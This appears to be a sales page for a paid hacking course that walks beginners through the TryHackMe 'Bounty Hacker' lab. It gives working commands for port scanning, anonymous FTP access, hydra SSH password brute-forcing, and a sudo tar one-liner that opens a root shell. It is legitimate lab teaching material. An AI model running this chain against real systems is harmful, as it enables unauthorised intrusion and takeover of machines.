Interactive guided challenge, broken into small steps with every command explained, from lab setup to root access.
The Hacker Academy
Pro Hacker Starter Kit · Challenge 01

Your first hack.

Break into a real server, crack a login, and escalate to root — one small step at a time. Every command explained. Legal, guided, ~45 min.

01
Set up your battleground
Get a hacking machine + a target, in your browser
›

No downloads, no Kali, no VPN. Four small steps and you'll have everything ready.

1Make a free TryHackMe account

Go to tryhackme.com and sign up. The free tier is all you need.

2Open the Bounty Hacker room

Go to the Bounty Hacker room and click Join Room. This is your target.

3Start the AttackBox

Click Start AttackBox (blue button, top of the room). A full hacking machine opens in your browser — give it ~1 minute to boot. This is the machine you'll type all your commands on.

Two machines, don't mix them up
The AttackBox is yours — your weapon. The target is what you attack. If a command later says "not found," you're probably typing on the wrong one.
4Deploy the target & copy its IP

Click Start Machine on the room. After ~1 minute an IP address appears (like 10.10.14.22). That's the target's address — you'll aim every command at it.

The machine won't start / no IP appears
Give it a full 2 minutes, then refresh the page. If the AttackBox looks frozen, click Restart. This setup step is where most beginners quit — once you have an IP and a running AttackBox, the hard part is behind you.
Paste your target IP first.
02
Scan the target
Find every open door on the machine
›

Before attacking anything, you look. A scan tells you what services the target is running and which "doors" (ports) are open.

Tool · just in time
nmap is a scanner. It knocks on every port of the target and reports which are open and what software is behind them.
1Run the scan on the AttackBox
attackbox terminal
nmap -sV [IP]
What each part means
nmapthe scanner tool itself
-sV"scan Versions" — don't just find open doors, tell me what software is behind each one
[IP]the target you're scanning (your machine's IP)

You should see — three open ports: 21 (ftp), 22 (ssh), and 80 (http). FTP being open to visitors is your way in.

"command not found" or the scan just hangs
Type in the AttackBox terminal, not the target. If nmap says "not found," you're on the wrong machine. A scan taking 30–60 seconds is normal — let it finish.
03
Raid the FTP server
Grab a username and a list of passwords
›

Port 21 is FTP — a file server. This one lets anyone log in without a real account. You'll walk in and take the files sitting inside.

Concept · just in time
Anonymous FTP — some file servers accept the username "anonymous" with no password. Admins forget these are open to the world. A door left unlocked.
1Connect to the FTP server
attackbox terminal
ftp [IP]
What each part means
ftpthe tool for connecting to a file server
[IP]the target you're connecting to

Then — at Name: type anonymous and press Enter. At Password: just press Enter (leave it blank). You'll see 230 Login successful.

2List and download the files
inside the ftp session
ls
get task.txt
get locks.txt
bye
Line by line
lslist the files on the server — you'll see two
get task.txtdownload that file to your machine
get locks.txtdownload the second file too
byeleave the FTP server
3Read what you found
attackbox terminal
cat task.txt
cat locks.txt
Line by line
cat task.txtprint the file — it's signed by a user named lin. That's your username.
cat locks.txtprint the second file — a long list of possible passwords.

You now have — a username (lin) and a list of password guesses. Next you'll try them all, fast.

FTP login fails / can't read the files after
At Name: type exactly anonymous, then blank password (just Enter). If cat says "no such file," you downloaded to a different folder — run ls to see where you are, the files should be there.
04
Crack the login & break in
Brute-force SSH, then walk through the door
›

You have a username and a pile of possible passwords. Now you let a tool try them all against the login until one works — then you use it.

Concept · just in time
Brute-forcing means trying many passwords automatically until one fits. SSH (port 22) is a way to log into and control a machine's command line remotely.
1Let hydra try every password
attackbox terminal
hydra -l lin -P locks.txt [IP] ssh
What each part means
hydrathe brute-force tool
-l linthe login name to try (lowercase L). We know it's lin.
-P locks.txtthe password list file (capital P) — try every line in it
[IP]the target machine
sshthe service to attack — the SSH login on port 22

You should see — after a few seconds, a line in green with login: lin and password: followed by the cracked password. Write it down.

2Log in with the cracked password
attackbox terminal
ssh lin@[IP]
What each part means
sshthe tool to log into a remote machine
lin@[IP]log in as user lin on the target

Then — if it asks "are you sure?", type yes. Paste the password (it won't show as you type — that's normal) and press Enter. Your prompt changes: you're inside.

3Grab the first trophy
now logged in as lin
ls
cat user.txt
Line by line
lslist files — you'll spot user.txt
cat user.txtread it — that's your first flag
Feel that?
You just logged into someone else's machine with a password you cracked. That's real access. One more climb to the top.
hydra finds nothing / ssh won't connect
Make sure locks.txt is in the folder you're running hydra from (ls to check). The login is lowercase lin. On SSH, type yes at the authenticity prompt, then paste the password — it stays invisible as you type, which is normal.
05
Escalate to root
Turn user access into total control
›

You're in as a normal user. The final move is becoming root — the all-powerful admin. The trick: find one thing you're allowed to run as root, and turn it against the system.

Concept · just in time
Privilege escalation — going from a limited user to full admin (root). Almost always: find one over-permitted command and abuse it.
1Ask what you're allowed to run as root
as lin
sudo -l
What each part means
sudorun something as root (admin)
-llist — "what am I allowed to run as root?"

You should see — a line showing lin may run /bin/tar as root. tar is your way up.

2Look up the trick (GTFOBins)
Tool · just in time
GTFOBins (gtfobins.github.io) — a catalogue of normal commands that can be twisted to escape to root. Search "tar" there and you'll find the exact line below, under "sudo".
3Abuse tar to become root
as lin — paste as ONE line
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
What's happening (you don't need to memorise this)
sudo tarrun tar as root — the one thing you're allowed to do
--checkpoint-action=tar has a feature to run a command at "checkpoints." You point it at...
exec=/bin/sh...open a shell. Since tar runs as root, the shell is a root shell.

Then confirm and take the prize — your prompt changes to #. Run the two lines below.

root shell
whoami
cat /root/root.txt
Line by line
whoamiconfirm who you are — it prints root
cat /root/root.txtread the final flag — a file only root can open
The tar line errors / whoami doesn't say root
Paste the whole sudo tar ... as one single line — it's long but unbroken. If it worked, your prompt becomes # and whoami says root. If not, re-run sudo -l to confirm tar is listed, then copy the line again exactly.
win

You just got root.

That's the top. Full control of the machine. Read this out loud — it's true about you now:

> I scanned a server, raided an open FTP share, cracked an SSH login by brute force, broke in, and escalated my privileges all the way to root.

That's the complete attack chain, start to finish. This is just hack #01 — here's where it goes next.

// Field Journal — Hack #01

Real hackers document every hack. We've drafted the technical part for you from the steps you just did — tweak anything, then add the two personal lines. This becomes your first portfolio entry.

Copied to clipboard.
Challenge 01 complete · You've earned your first rank

You just proved you can do this.
Now don't stop at one.

One hack, alone, from a guide — that's the hardest part, and you did it. Inside The Hacker Academy you keep the momentum: a clear path, pro hackers on call, and a crew that won't let you quit at hack #1.

This happens every week. Jump in and root a real box alongside pro hackers — live.

✓Direct access to pro hackers — ask any question, any time. Get a real answer — not a dead forum thread from 2014.
✓Accountability that makes you finish — a crew that checks in, hypes every win, and won't let you stall out after hack #1.
✓Weekly live hacking sessions — jump on a call and pwn a real box together in real time, with your questions answered live.
✓The Path — dozens of guided hacks like this one, in the right order, so you always know your next move.
✓Your rank — start as a Script Kiddie and climb to legendary hacker as you root boxes — visible proof you're leveling up.
✓The #challenge crew — post every win, get hyped up, and hunt alongside people on exactly the same climb.
Real members · real boxes · first week
Members posting their first captured flags and rooted boxes in the community

Not theory — members getting inside real targets within days of joining.

The Hacker Academy community on Skool: 477 members, rated 5.0 from every review

477+ members · 5.0★ from every review — come say hi in #introductions.

YOUR FIRST MOVE INSIDE

Drop a screenshot of your win in #challenge. The crew celebrates every first hack — and your Script Kiddie rank goes live.

Join The Hacker Academy — $19/mo →

Less than a video game · cancel anytime

Limited seats at this price — lock in $19/mo before they're gone